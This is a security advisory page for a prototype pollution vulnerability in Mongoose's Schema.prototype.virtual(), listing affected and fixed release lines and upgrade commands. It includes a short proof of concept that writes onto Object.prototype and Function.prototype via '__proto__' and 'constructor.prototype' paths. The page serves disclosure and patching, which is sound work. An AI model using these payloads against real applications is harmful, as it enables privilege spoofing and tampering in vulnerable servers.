---
title: "GHSA-6972-9mcm-vhwj: Mongoose: Prototype pollution via Schema.prototype.virtual()"
description: "Moderate severity. Mongoose: Prototype pollution via Schema.prototype.virtual(). Affects mongoose; fixed in 9.11.4."
url: https://inlinr.com/advisories/GHSA-6972-9mcm-vhwj
lang: en
---

[Packages](https://inlinr.com/packages) / [mongoose](https://inlinr.com/packages/mongoose) / [Security](https://inlinr.com/packages/mongoose/security)

Moderate Vulnerability GHSA-6972-9mcm-vhwj CVE-2026-125118 Published 10 Nov 2026

# Mongoose: Prototype pollution via Schema.prototype.virtual()

Your version 

Affected releases · [mongoose](https://inlinr.com/packages/mongoose)

- 9.x 9.0.0 – 9.11.3 Fixed in 9.11.4
- 8.x 8.0.0 – 8.24.6 Fixed in 8.24.7
- 7.x 7.0.0 – 7.8.12 Fixed in 7.8.13
- 6.x 6.0.0 – 6.13.11 Fixed in 6.13.12
- 5.x and older 0.0.1 – 5.13.23 No fix, no longer updated

On 9.x, the newest line:

```
npm install mongoose@9.11.4
```

Every release on a timeline

9.x 

1. Affected

9.0.0 – 9.11.3  
48 releases
2. Fixed

9.11.4 – 9.13.0  
6 releases

8.x 

1. Affected

8.0.0 – 8.24.6  
108 releases
2. Fixed

8.24.7 – 8.24.11  
5 releases

7.x 

1. Affected

7.0.0 – 7.8.12  
58 releases
2. Fixed

7.8.13 – 7.8.14  
2 releases

6.x 

1. Affected

6.0.0 – 6.13.11  
121 releases
2. Fixed

6.13.12 – 6.13.13  
2 releases

5.x 

1. Affected

5.0.0 – 5.13.23  
255 releases

4.x 

1. Affected

4.0.0 – 4.13.21  
164 releases

3.x 

1. Affected

3.0.0 – 3.9.7  
104 releases

2.x 

1. Affected

2.0.0 – 2.9.10  
84 releases

1.x 

1. Affected

1.0.0 – 1.8.4  
64 releases

0.x 

1. Affected

0.0.1 – 0.0.6  
6 releases

1027 stable releases of mongoose, oldest to newest, one row per major.

## What happens

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

```
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
```

Unlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).

A path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.

Proof of concept

```
const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted
```

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: low
- **Availability**: low

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:L/​A:L

## References

- [Reference](https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj "https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj")  
github.com/Automattic/mongoose/security/advisor…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-125118 "https://nvd.nist.gov/vuln/detail/CVE-2026-125118")  
nvd.nist.gov/vuln/detail/CVE-2026-125118
- [Fix commit](https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1 "https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1")  
318f7e0
- [Fix commit](https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467 "https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467")  
74df776
- [Fix commit](https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff "https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff")  
7a2a656
- [Fix commit](https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9 "https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9")  
fb467e6
- [Package](https://github.com/Automattic/mongoose "https://github.com/Automattic/mongoose")  
github.com/Automattic/mongoose
- [Reference](https://github.com/Automattic/mongoose/releases/tag/6.13.12 "https://github.com/Automattic/mongoose/releases/tag/6.13.12")  
github.com/Automattic/mongoose/releases/tag/6.1…
- [Reference](https://github.com/Automattic/mongoose/releases/tag/7.8.13 "https://github.com/Automattic/mongoose/releases/tag/7.8.13")  
github.com/Automattic/mongoose/releases/tag/7.8…
- [Reference](https://github.com/Automattic/mongoose/releases/tag/8.24.7 "https://github.com/Automattic/mongoose/releases/tag/8.24.7")  
github.com/Automattic/mongoose/releases/tag/8.2…
- [Reference](https://github.com/Automattic/mongoose/releases/tag/9.11.4 "https://github.com/Automattic/mongoose/releases/tag/9.11.4")  
github.com/Automattic/mongoose/releases/tag/9.1…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
